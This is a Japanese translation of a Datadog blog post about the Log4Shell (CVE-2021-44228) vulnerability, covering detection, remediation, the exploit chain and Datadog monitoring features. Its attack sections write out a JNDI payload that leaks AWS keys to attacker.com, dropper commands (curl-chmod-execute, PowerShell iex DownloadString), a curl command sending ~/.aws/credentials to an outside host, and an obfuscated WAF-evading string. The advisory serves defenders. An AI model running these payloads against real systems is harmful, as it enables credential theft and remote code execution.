こちらの記事はDatadog Blogの「Takeaways from the Log4j Log4Shell vulnerability」を訳した記事になっています。DatadogのAgentやライブラリなどの対応についての最新の情報は「Update on our Response to the Log4j Vulnerability」をご確認ください。

2021年12月9日、人気の高いJavaロギングライブラリ「Log4j」の重大な脆弱性が公開され、「Log4Shell」という愛称で呼ばれています。この脆弱性はCVE-2021-44228として追跡されており、攻撃者があらゆるシステムを完全に制御できるリモートコードを実行できる脆弱性です。

このブログ記事では、以下のことをご紹介します。

Datadogでの調査から得られたLog4Shellに関するキーポイントと見解を説明します
脆弱性のあるシステムを特定し、保護するための方法を説明します
エクスプロイトチェーンの詳細を説明します
また、Datadogを活用してインフラやアプリケーションを保護する方法についても紹介します。最後に、攻撃者がこの脆弱性をどのように利用しているかを紹介し、実際の環境で攻撃者がどう悪用の試みてるかについての情報をお伝えします。

注：Datadogがこの脆弱性に対してどのように対応したかを詳しく説明した公式声明は、こちらをご覧ください。

#キーポイントと見解

本項の情報は、2021年12月14日時点で判明している内容を網羅しています。

Log4Shell（CVE-2021-44228）は、広く使われているオープンソースのJava用ロギングライブラリであるLog4jに存在する脆弱性です。この脆弱性は、LOG4J2-313の実装の一環として、2013年にLog4jのコードベースに導入されました。Cisco Talos社とCloudflare社によると、この脆弱性をゼロデイとして実サービスを攻撃し悪用する行為は、一般公開の9日前である2021年12月1日に初めて記録されました。

下記は、Log4Shellの発見とその影響についての時系列です。

11月26日： MITREがCVE識別子CVE-2021-44228を割り当てる
11月29日：脆弱性を修正するためのissue LOG4J2-3198が作成される。
11月30日：脆弱性を修正したコミットがLog4jのコードベースにプッシュされる
12月10日： LunaSecが脆弱性の分析結果と詳細な勧告を発表
12月10日：この脆弱性に対する大量のスキャンと悪用の試みが記録される（参考：Greynoise社の分析結果）
次は、自社のサービスがLog4Shellに対して脆弱であるかどうかを確認する方法と、サービスを保護する方法を取り上げます。

#アプリケーションに脆弱性があるかどうかの確認

Log4j のバージョン 2.0-beta9 から 2.14.1 (これを含む) には脆弱性があります。特定のJDKバージョン（6u211+、7u201+、8u191+、および11.0.1+）を使用すると、悪用がより困難になりますが、脆弱性は残っています。まずは、これらのバージョンのLog4jを使用しているかどうかを確認することが重要です。

LunaSecは、オープンソースのスキャナーを公開しており、これをJavaのプロジェクトディレクトリに対して実行することで、アプリケーションが脆弱であるかどうかを判断することができます。また、OWASP DependencyCheckのようなオープンソースのソフトウェア・コンポジション分析（SCA）ツールを使用して、アプリケーションで実行されている脆弱なLog4jのバージョンを特定することができます。

また、ネイティブのJavaビルドツール（gradle dependenciesなど）を活用して、アプリケーションの依存関係を照会することができます。これは、依存関係が推移的なものであっても（つまり、アプリケーションが直接パッケージ化しておらず、依存関係を通じて含まれている場合）、可能です。以下は、脆弱なLog4jのバージョン（2.14.1）への推移的な依存関係を示しています。

./gradlew dependencies
runtimeClasspath - Runtime classpath of source set 'main'.
[...]
\--- org.springframework.boot:spring-boot-starter-log4j2:2.6.1
    +--- org.apache.logging.log4j:log4j-slf4j-impl:2.14.1
    |   +--- org.slf4j:slf4j-api:1.7.25 -> 1.7.32
    |   +--- org.apache.logging.log4j:log4j-api:2.14.1
    |   \--- org.apache.logging.log4j:log4j-core:2.14.1
    |      \--- org.apache.logging.log4j:log4j-api:2.14.1

脆弱性のあるバージョンのLog4jを使用しているアプリケーションを発見した場合、問題を修正するためにできることがあります。

#影響を受けたサービスの修正

LunaSecの修復ガイドは、主要な緩和戦略を詳述した良いリソースです。簡単に言えば、最も効果的な修復策は、Log4jをバージョン2.16+にアップグレードすることです。しかし、Log4jのバージョンをアップグレードすることができない場合は、LunaSecまたはApache Foundationが概説している指示に従って、脆弱性を修正することができます。

最後の手段として、コミュニティは、実行時に悪用されるのを防ぐための仮想パッチも用意しています。

脆弱性のあるアプリケーションを特定し、修正する方法を説明しましたが、次に、脆弱性を利用した攻撃の連鎖をさらに詳しく説明し、システムを脆弱性から保護するための他の方法を見ていきます。

#Log4Shellの脆弱性の仕組み

Log4Shell脆弱性は、ユーザーが制御するデータを解析してログに記録するLog4jの部分を標的としています。インフラストラクチャやビジネスオペレーションを監視するチームは、HTTPリクエストやIPアドレスなどのクライアントデータを日常的に記録しています。Log4Shellは、攻撃者がこの操作を悪用して、脆弱なアプリケーションを危険にさらすことを可能にします。

Log4Shellは特に、Log4jがJNDI（Java Naming and Directory Interface）を使用する機能を利用しています。この機能は、2013年に追加されたものです。攻撃者は、JNDIルックアップを使用する特別に細工された文字列を使用することで、脆弱なアプリケーションを攻撃者が管理するLDAPサーバーに接続させ、悪意のあるペイロードを発行することができます。

以下は、スイス政府コンピュータ緊急対応チーム（GovCERT）による攻撃チェーンの図です。

ステップ1: 攻撃者は、ユーザー側からの入力を介して悪意のあるペイロードを渡すことで、エクスプロイトを起動します。これは、HTTPヘッダーや、アプリケーションがLog4jを使用して記録しているものである可能性があります。
ステップ2: アプリケーションは、ユーザーが提供した入力をログに記録します。
ステップ3: Log4jライブラリは、悪意のあるペイロードを解釈し、悪意のあるLDAPサーバーに接続します。
ステップ4: 悪意のあるLDAPサーバーは、アプリケーションにリモートのクラスファイルをロードするよう指示するレスポンスを送り返します。
ステップ5: アプリケーションは、リモートのJavaクラスファイルをダウンロードして実行します。

GovCERTは、悪用の成功を防ぐために、いくつかの防御策を推奨しています（上記で取り上げたものを含む）。Datadogでは、これらの対策を実施し、システムの安全性を確保しています。

上記の悪用ステップは、アプリケーションを完全に侵害するために必要なものを反映していますが、1～3のステップだけで環境変数などの機密データをリークすることが可能であることを認識することが重要です。例えば、攻撃者がLog4jのログを取るために以下のような入力を行ったとします。

curl http://vulnerable-app:8080 \
  -H 'X-Api-Version: ${jndi:ldap://${env:AWS_ACCESS_KEY_ID}.${env:AWS_SECRET_ACCESS_KEY}.attacker.com'

これにより、脆弱なアプリケーションは、攻撃者が管理するサーバーへのDNSリクエストを実行し、2段目のペイロードを必要とせずにアプリケーションのAWS認証情報をリークします。

次に、Datadogがどのようにしてお客様の環境内でこれらのエクスプロイトのステップを検出することができるかを見ていきます。

#Datadogをどのように活用し対策するか

Datadog Security Platformでは、Log4Shell攻撃ライフサイクルの様々な段階での攻撃者の行動を検出することができます。

Datadog Application Security（現在はプライベートベータ版）は、アプリケーションに送信されたLog4Shell攻撃のペイロードを識別します。Datadog APMとの緊密な統合により、悪意のあるコードをリモートで読み込もうとする脆弱なアプリケーションの可視性も提供しています。Datadogでは、@http.url:*.classというクエリを使って、フェッチされたJavaクラスの発生を検索することができます。結果のトレースを見て、リクエストの詳細を確認することができます。

自分のシステムが標的にされていることがわかったら、インターネットに接続されている可能性のあるLDAP接続を特定する必要があります。Datadog Network Performance Monitoringを使用して、疑わしいイグレス接続を探すことができます。

攻撃者がいつアプリケーションにLog4Shellエクスプロイトを使おうとしているかを知ることに加えて、攻撃者が成功してシステムにアクセスしたかどうかを検出することも重要です。Datadog Cloud Workload Securityは、Linuxホストやコンテナのプロセス、ファイル、カーネルのアクティビティを監視し、Log4Shellのエクスプロイトに成功した後に攻撃者が使用する一般的なエクスプロイト後のアクティビティを自動的に識別します。すぐに使えるルールは以下をスキャンします。

シェルやシステムユーティリティーを起動するJavaプロセス。これは多くの場合、アプリケーションの脆弱性が悪用されてシステムコマンドが実行されたことを示す指標となります。
systemdによる持続性。マルウェアは、システムサービスを作成して持続させようとすることがよくあります（つまり、システムの再起動に耐えられるようにします）。コンテナ環境では無意味ですが、この動作は攻撃者の活動を示しています。
crontabによる持続性。特にコンテナ環境では、crontabの使用は非常に疑わしいものです
curlやwgetなどのネットワークユーティリティーの実行。デバッグ目的の正当な動作である可能性もありますが、コンテナ内でネットワークユーティリティが実行されていることは一般的に疑わしいものです。本番環境のコンテナイメージでは、このようなユーティリティを排除することが理想的です。コンテナ内でのネットワーク・ユーティリティの使用は、攻撃者の活動を示す貴重な指標となります。
コンテナ内でのパッケージ管理コマンドの使用。コンテナは不変です。新しいソフトウェアパッケージが必要になると、コンテナは取り壊され、ゼロから再構築されます。したがって、apt、yum、または apk コマンドの使用は非常に疑わしく、攻撃者がユーティリティ・ソフトウェアをインストールしようとしていることを示しています。

Datadogのアウトオブボックスの脅威検出ルールは、上記の活動を自動的に検出します。悪意のある動作が発見された場合、Datadogはセキュリティ・シグナルを発信しますので、それを分析して、あなたの環境が脆弱であるかどうかを判断することができます。

最後に、Datadogがテレメトリで観測したLog4Shellの脆弱性を悪用しようとする実際の試みを見ていきます。これは、Log4Shellの脆弱性を利用した攻撃がどのように進化してきたかを理解する上で非常に重要であり、防御側はこれらの進化を監視することができます。

#Log4Shellでの実際の攻撃

Datadogは、Log4Shellを悪用するさまざまな試みを観測しています。その中には、セキュリティ研究者や企業からのプローブも含まれていますが、かなりの割合で、アプリケーションを侵害しようとする脅威アクターによるものがあります。また、他の脅威情報企業でも、金銭を要求をしてくるアクターや国家的なアクターによる攻撃が記録されています。

具体的には、以下のようなものが確認されています。

KinsingやMiraiなどの汎用マルウェアのドロッパー。これらの多くは、共通のパターンを持っています。

curl <ip> -o <short-name> && chmod +x <short-name> && ./<short-name>

BITS Jobを利用したPowershellドロッパーで、悪意のある実行ファイルをダウンロードし、実行するものです。

powershell -c iex ((New-Object System.Net.WebClient).DownloadString('https://textbin[.]net/raw/0l8h4xuvxe'))

これらの機密性の高い環境変数のDNS経由での流出を試みています:aws_secret_access_key, db_host, db_username, db_password
コマンドを使用して、ファイル ~/.aws/credentials から AWS 認証情報を盗むことを試みる。

curl -d "$(cat ~/.aws/credentials)" https://<redacted>.interactsh.com

WAFのルールを回避しようとするペイロードの難読化。

jin${lower:d}i:l${lower:d}ap://<redacted>}`。

様々なHTTPヘッダを使ったインジェクションが行われているが、最も一般的なものは次箇所でありました。User-Agent、Referer、X-Forwarded-For、Authorization。

Datadogが分析したKinsingペイロードは、システムに侵入した後、次のような挙動をしていました。

curlまたはwgetを使用して、悪意のあるバイナリを一時フォルダにダウンロードします。ターゲットディレクトリは、/tmp, /var/tmp, mktemp -d の結果ディレクトリ, /dev/shm のうちの書き込み可能なディレクトリを対象としていました。
crontabエントリを削除し、実行中のプロセスを強制終了することによって、競合するマルウェアからシステムをクリーンアップしようとします。
1分ごとに悪意のあるスクリプトを実行するcrontabエントリを記述し、systemdサービスを作成することで、システム上に永続的に常駐させる。
システム上で暗号通貨マイニングを実行する。

特に、コンテナは不変であることが前提である最新のクラウドネイティブ環境では、これらの動作のほとんどは疑わしいものです。

#結論
Log4Shellの脆弱性は、攻撃者が容易に悪用できる影響力の大きい脆弱性であり、業界全体に広範囲な影響を及ぼします。この記事では、この特定の脆弱性に対するいくつかの検出および予防戦略について説明し、実世界の攻撃に対するDatadog Security Platformの行動検出能力を紹介しました。この脆弱性は、深層防御戦略と、単一の層の障害が完全な侵害につながらないようにセキュリティ・メカニズムを重ねる「想定違反」の考え方の必要性を示しています。